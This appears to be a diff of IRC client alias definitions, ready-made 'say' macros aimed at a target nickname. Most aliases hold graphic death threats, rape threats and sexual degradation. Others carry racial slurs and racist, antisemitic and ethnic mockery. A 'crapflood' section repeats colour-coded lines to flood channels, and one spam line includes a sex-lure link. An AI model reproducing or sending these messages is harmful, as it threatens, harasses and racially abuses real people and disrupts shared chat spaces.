+  lump11 = "say $* dude if u dont fucken stop runnin ur mouth about my brother's mom im gonanf ucken pickle your cerebellum";
+  lump12 = "say $* dude if u dont fucken stop runnin ur mouth about my girlfriend im gonanf ucken slice your eyes";
+  lump13 = "say all you fuckers who are talkign shit you are all fucking pussies you didn't fucking know her so don't try saying shit you stupid cunt rags fucking coem to michigan and say that to her friends faces you will get your nerdy fuckign asses handed to you you say shit cause you haev no real friends or your jsut an insecure little fuck who can't fucking get any real friends so fuck you all stephanie was one of the best people in the world";
+  lump14 = "say $* you cant come face to face fucking gonna remember these faces when i see you in th streets i am gonna rip you into peaces that when a doctor sees you he will get confused to weather an animal or human did that to you";
+  lump15 = "say $* u think ur music impresses me? ur wrng nigr u dont know how srsly i take the internets if ur a real man gimme ur addy an ill come and rape ur momy and beat the living sht out of u";
+  lump16 = "say $* why aren't u talking u got scared? this isn't nothing nigr u havent seen the real me yet. u keep hiding behind ur computr dat won't stp me frm comin and beating ur up u messed with the wrng guy.";
+
+  # {{{ other lumps
+  ohsix = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case. ";
+  ohsix2 = "say $* just shut the fuckup is not your fucking business you mother fucking asshole stupid shit! fucking idiot mother fucker";
+  ohsix3 = "say $*: I think you have low selfesteem because you have small \"woodies\", is that right, or are you sad, like having blisters around the anal rectum, dont use a wooden bat like you are used too =P";
+  ballsac = "say $* stfu u lmr u dont know nuthin yet if u type one more wrd ill fuckin rape u and throw u in a toilet";
+  ballsac2 = "say don't ignore my msgs $* u filthy liar u dont know who ur messing wit here man u've done it now. u dont know how srsly i take this internet shit im gonna find out where u live in beat u up. then fuck ur momy while u watch";
+  pign = "say $*: Congratulations, prick, you've just made my ignore list. Was it worth it to you to make your \"witty\" comments and snide in-jokes to your irc pals about me if it meant you are now disappeared from my online experience? Have a nice life.";
+  pign2 = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case.";
+
+  # {{{ vap0rrip
+  p0r1 = "say $*: Every time I see you, you will be presented with a lovely gift. I will give you golden bracelets that shine like sparkles of sunlight on the ocean. I will give you a necklace of pearls that beams like the moon in the evening. I will give you earrings that are more beautiful than a flock of seagulls or some such other type of romantic bird.";
+  p0r2 = "say $*: I am inviting you to my apartment, which overlooks the city. I promise to cook you a lavish dinner which would include succulent lobster with melted butter, peas and, of course, rolls. I also promise that when we completed the meal, there would be a mouth-watering dessert item such as a fine pie or a cheesecake containing strawberries or some other such fruit.";
+  p0r3 = "say $* stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt";
+  p0r4 = "say $*: I swear to God, if you ever say that to me again, I will remove each and every one of your limbs, including your tiny penis, with a rusty spoon,shove your bleeding stumps into buckets of rock salt, then force you to eat your way out of a hole filled with your own feces and body parts.";
+  p0r5 = "say $*: im going to pry apart your sweaty ass cheeks and plow your puckered brown rectum with a curling iron";
+  p0r6 = "say $* i would enjoy mushing up your heart in a blender and chugging that shit like a milkshake.";
+  p0r7 = "say $* i will piss in your asshole and make it squirt out your nose, then i will make you drink the piss and piss it out and drink it again";
+  p0r8 = "say $* i will rip out chunks of hair and mke you smoke a joint of that shit while i rape you";
+  p0r9 = "say $* ll perform a heavy metal solo with much force in your living room as you choke to death from the plastic bag on your face, youre ugly";
+  p0r10 = "say $* I'll rape your face after I burn it with hydrochloric acid, and if you think I'm joking, just test me.. I love burn-dick.";
+  p0r11 = "say $*: YOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYE";
+  p0r12 = "say $*: We will attend an exquisite Broadway musical. We will enjoy the finest singing, dancing and showmanship that is available anywhere. We will be among the upper crust of society, enjoying a night of theater.";
+  p0r13 = "say $*: lol, you remind me of sonic, except less smart and fatter..";
+
+  # {{{ :) :D :P
+  moon = "say \0033<\0030:\0039P";
+  moon2 = "say \0030<\00314:\0034,0)\003 \002K\002OOL \002K\002OMEDY \002K\002LOWNS  \0033M\0034O\0035O\0036N \0037P\0038A\0039N\00310T\00311Y \00312F\00313L\00314A\00313S\00312H  \0034,0(\003\00314:\0030>";
+  moon3 = "say \00314`\0033'\0039\\;\0033.\00314_\0033\\;\0039'\0033`\0030@\00314>  \0033moon \0039snake ";
+  f1re = "say \0034:\0039-O \0034,9WATERMELON BUBBA";
+  f1re2 = "say \0034:\00312`\0036(";
+  vp = "say \0034>\00314:\003\0032D\00314#";
+  vp2 = "say \0039]\0030\\;\0035P\00311>";
+  vp3 = "say  \0034*\0038(\00311:\0030]";
+  vp4 = "say \0034>\0030:\0034#";
+  vp5 = "say \0033~\00314B\0034}";
+  vp6 = "say \00311>\0030:\0038)";
+  vap0r = "say \0033>\0034:\00311`\00313(\0035~";
+  vap0r2 = "say \00313>\00311:`\0039(\0032~";
+  vap0r3 = "say \00311//\0034:\00313|\0035>\0030~";
+  vap0r4 = "say \0034>\00314:\0034-|\0030E ";
+  vap0r5 = "say \00311(\0030\\;\00311>";
+  vap0r6 = "say \00313>\00311=\0030()";
+  vap0r7 = "say \00313]\0030:\00313||\0030>";
+  vap0r8 = "say @\0034,0:\00315,2)";
+  vap0r9 = "say \0034>\0030:\0034>";
+  vap0r10 = "say \0035>>\0030[]^\0034:\00313<";
+  vap0r11 = "say \0034:\00313]\00314~";
+  vap0r12 = "say \00314{\0030=\0033< ";
+  vap0r13 = "say \0034(\0035:\0030=";
+  vap0r14 = "say \0030{\00313:\0032>";
+  vap0r15 = "say \00313-\0034:[\0030=\0034]";
+  vap0r16 = "say \00313*\0030(\0033:\0034]";
+  vap0r17 = "say \00311:\0032{\0030=\0032}\00314>";
+  vap0r18 = "say \0036}\0030:\0036<";
+  gtfo = "say gtfo\002(_\0034o\003_)";
+  nigger = "say \0034:\0039()";
+  robot = "say \00312>\0034=\0035,2[";
+  DDD = "say \0033<\0030:\0039D\0033D\00314D\0033~ \0039$*";
+  nanifish = "say \00314>\0039(\0033/\0035/\0034/\0036/(\00313|*\0036)\\\0035\\\0030@\0039)";
+  gayfish = "say \00313<\0030@\0034\\\\\0035\\\\\0037\\\\\0038\\\\\0039\\\\\00312\\\\\00313>\0036<\00313<\0036< ";
+  f1refish = "say \0034>\0035>\0038>\0037<\0035O\0034O\0037O\0038O\0034O\0038O\0037O\0034@\0035>";
+  blancfish = "say \00314>\00315>\0030<\00311/\0030/\00315/\00314/\00315/\0030\00311@\0030>";
+  cripplefish = "say \00314>\0037>\0038<\0037/\0038/\0034\\\\\0037/\0035\\;\0037/\0038\\\\\0034 \0037/\0030@\0038>\003   ---\002(\002 i like ur hair btw \002)";
+  melalien = "say \0034,9*(:] MELALIEN";
+  xtcfish = "say \00314>\00311>\00312>\0032(\00314/\00311/\00312/\0032/\00314/\00311:\00312D\0032D\0034D\0035D\0037D\0039D";
+
+  # {{{ albot
+  albot1 = "say \0034,1 Burrow \003\00312,8 not \003\0039,12 gudrow \003\00313,1 has \003\00311,13 hard \003\0039,1 constipation \0038,4 in \0034,1 in \0031,13 smelly \0039,1 drink \0038,4 gudrow \00312,11 not \0038,1 sucks \0031,13 smelly \0039,1 smelly \0031,13 smelly \0039,1 is \0038,4 bonanza, \00312,11 agatha. \0038,1 A \0031,13 smelly \0039,1 turd! \0038,4 Lick \0034,1 the \0031,13 lavatory. \0039,1 And \0038,4 constipation \00312,11 boner \0038,1 fast \0031,13 \0039,1 \0038,1()\0031,1-\0031,0¤\0031,1-\0030,1  i'm going to get fucked by horses. ";
+  albot2 = "say \0034,1 Doctor \003\00312,8 that \003\0039,12 burger \003\00313,1 plop \003\00311,13 gudrow's \003\0039,1 tardcraft's \0038,4 constipation, \00312,11 gudrow \0038,1 shits \0031,13 lavatory. \0039,1 And \0038,4 shit! \00312,11 Uncle \0038,1 with \0031,13 gudrow's \0039,1 smelly \0038,4 hat \00312,11 shit \0038,1 hot \0031,13 little \0039,1 smelly \0031,13 lavatory. \0039,1 And \0031,13 smelly \0039,1 gudrow's \0031,13 calzone \0039,1 shit \0038,1 traun's \0031,13 lavatory. \0039,1 And \0038,4 god, \00312,11 poo \0038,1 \0031,13 \0039,1 \0038,1¡\0031,1 \0038,4.";
+  albot3 = "say \0039,12 my \003\00313,1 plop \003\00311,13 hat \003\0039,1 constipation \0038,4 that's \0034,1 fat gay canadian tv. ";
+  albot4 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
+  albot5 = "say \0034,1 Gay \003\00312,8 tardcraft's \003\0039,12 festival \003\00313,1 real \003\00311,13 hat \003\0039,1 constipation \0038,4 a \00312,11 not \0038,1 big \0031,13 little \0039,1 turd. ";
+  albot6 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
+  albot7 = "say \00309,01 hey \00312,10 $* \00311,03 im \00308,04 6`6 \00311,03 15lbs \00309,01 sexy \00308,04 as \00311,12 goon \00308,04 justice \00311,03 an \00301,13 im \00308,04 single \00312,10 lookin \00309,01 fa \00308,04 da \00308,01 right \00301,13 slavs \00312,10 ta \00308,01 cannibalize, \00311,03 so \00308,01 if \00312,10 u \00309,01 liken \00308,01 wat \00311,12 u \00312,10 see \00308,04 bench \00308,01 press \00311,12 at \00309,01 me \00311,03 an \00312,10 well \00308,04 do \00311,03 da \00309,01 full \00301,13 frontism ";
+  albot8 = "say \00311,12 hey \00301,13 $* \00312,10 im \00301,13 5`6 \00309,01 62lbs \00308,01 sexy \00301,13 as \00308,04 juxtapozinged \00301,13 an \00312,10 im \00308,01 single \00311,12 lookin \00308,04 fa \00301,13 da \00311,03 right \00309,01 7-11 \00308,01 employees \00309,01 ta \00301,13 pickle, \00311,03 so \00312,10 if \00308,04 u \00311,12 liken \00308,04 wat \00309,01 u \00312,10 see \00309,01 wash \00301,13 at \00309,01 me \00308,04 an \00311,12 well \00308,01 do \00308,04 da \00301,13 cock \00311,03 to \00312,10 cock ";
+  albot9 = "say \0034,1 A \003\00312,8 gay \003\0039,12 shitty \003\00313,1 deadly \003\00311,13 army \003\0039,1 and \0031,13 smelly \0039,1 shit \0038,4 with \00312,11 hung \0038,1 good \0031,13 smelly \0039,1 shit \0038,4 for \00312,11 mom. \017";
+
+  # {{{ buttes
+  rune = "say FUCK $*\\; $* SUX\\; $* IS DYING\\; $* IS DEAD TO ME\\; $* HIT WTC";
+  unrune = "say <3 $*\\; $* DOES NOT SUCK\\; $* IS NOT DYING\\; $* IS NOT DEAD TO ME\\; $* DID NOT HIT WTC";
+  chirpn = "say mup da doo didda po mo gub bidda be dat tum muhfugen bix nood cof bin dub ho muhfugga";
+  incog = "say \0037,0$*";
+  masturbate = "say \026TWO FOUR SIX EIGHT GRAB YOUR DICKS AND MASTURBATE";
+  bust = "say @@@ MACRO BUSTER @@@";
+  ror = "say \0034,8^_^\003 \0034,0KOREAN RAUGH OUT ROUD\003 \00311kekeke";
+  chinee = "say \0031,9---|==|=:<\003 \002YUMMY CHINEE";
+  clocodile = "say \0031,8'_'\003 \002OH NO CLOCODILE";
+  clocodile2 = "say \0031,8^_^\003 \002YUMMY CLOCODILE";
+  blax = "say AROUND BLAX, NEVER RELAX";
+  butte = "say COCKES IN THE BUTTE, URMOM IS A SLUTTE";
+  coqarc = "say \002\0034,12IF WE TOUCH DICKS THERE WILL BE AN ARC";
+
+  # {{{ actions
+  melon = "me is on $* like \002\0031,1#\0030,5:\0034,5)\003\002 \002\0031,1#\0030,5:\0034,5)\003\002 NIGGERS \002\0034,5(\0030,5:\0031,1#\003\002 \002\0034,5(\0030,5:\0031,1#\003\002 on \002\0039,3|\0031,4WATAMELONS\0039,3|\003\002!";
+  poz = "say \002\0031,1-\0030,5\\;\0034,5)\003\002 \0031,8\002 \037/!\\\\\037\002 I am be shootin \002ULTRA-CREAMY NIGGER POZ\002 at $* as though he be a white wimmin! \002\037/!\\\\\002\037 \003 ~\0036+\003 ~\0034+\003 ~\0037+\003\002 $* \002\0038+\003~ \0039+\003~ \00312+\003~ \0030,1\002*SPLAT!*\002\003 WELCOME TO \002\0031,4G\0031,7R\0031,8I\0031,9D\0031,12S\003\002, SWEETIE! \002\0031,1-\0030,5:\0034,5P\003\002 \0039,9OI\0031,1vera \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5O\0030,5:\0031,1-\003\002 ";
+  poz2 = "say \002\0031,1#\0030,5X\0034,5D\003\002 \0030~\0036G \0030~\0034R \0030~\0037I \0030~\0038D \0030~\0039S \0030~\00312+ \00313,7(\00311,7:\0038,8#\003 \037/\\\\\037 \002POZZING: \0036[\0033|||100%|||\0036]\003 \0034COMPLETE\003\002 \037/\\\\\037\002\00310 $* has poz!";
+  poz3 = "say BIG \0030,1 ~+ \0038,1\002POZZY\002\0030,1 +~ \003 GAY HUGS FOR \002\0034{\0037{\0038{\0039{\00312{\0036{\003\002 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \002\0034}\0037}\0038}\0039}\00312}\0036}\003\002";
+  poz4 = "me poz \0034 $* ";
+
+  # {{{ crapflood
+  new = "say \0038,3 S\0039ince \0038,6 I\0039'm \0038,3 N\0039ew \0038,6 T\0039o \0038,3 L\0039ist \0038,6 I \0038,3 C\0039an't \0038,6 S\0039tart \0038,3 B\0039ut \0038,6 S\0039aying \0038,3 H\0039ello \0038,6 $* ";
+  panis = "say \0030,4 my panis do not up and i have a problem with my penny balls ";
+  nigita = "say \0031,8(: Virgin Lolita Girl Last Night go to BAR.\0030,12 Pizza man FUCKED girl to toilet.All of there \0032,4 blood.\0030,1See you Photo visit=>>\0030,12 http://pizzasex.nigx.ne";
+  damage = "say \002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
+  oontz = "say \002\0034thEr \0035Iz \0037oNlY \00361 \0032ThInG \00312taHT \00311uNiTeZ \00310uS \0039aLL \00314rEgArDlEsS \0030oF \0032RaCe, \0033ReLiGOIn \0034oR \0035CoLeR\0039............. \00311aNd \00312tHaT \00313is \037\0034O0NTZ BEATZ!!!!!!!!!";
+  happyland = "say \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039- \00313hAPPY!11 LAND1211 \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039-";
+  stfy = "say \0034,8\002SHUT \037THE\037 FUCK \037YOU\037|";
+  shutup = "say \00315,10IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP";
+  thugz = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034THUGZ 4 LIFE WORD\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
+  ircdongs = "say \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s";
+  urmamma = "say \0037HeY YO MaMMA In Da LUnCH SerVEs DA ChEEzzBuRGA";
+  hodapp = "say \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O";
+  hipvan = "say \002\037\0034,7hippie van at \0038,4 300 mph!111";
+  irchax = "say \002\037\003\00\0038,4unauthorized irc entry111\00";
+
+  # {{{ ripped from TAC0
+  mazel = "say \002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@";
+  diarrhea = "say \0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT";
+  fauxvag = "say \00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR";
+  bacardi = "say \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURK";
+  hitler = "say \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HIT";
+  binladen = "say \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT";
+  oswald = "say \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037??";
+  saddam = "say \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311";
+  clove = "say \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNE";
+  rip = "say \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF M";
+  shark = "say \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK";
+  beelego = "say \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8";
+  flewd = "say \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033W";
+  hotcold = "say ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003.";
+  penis = "say \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS ";
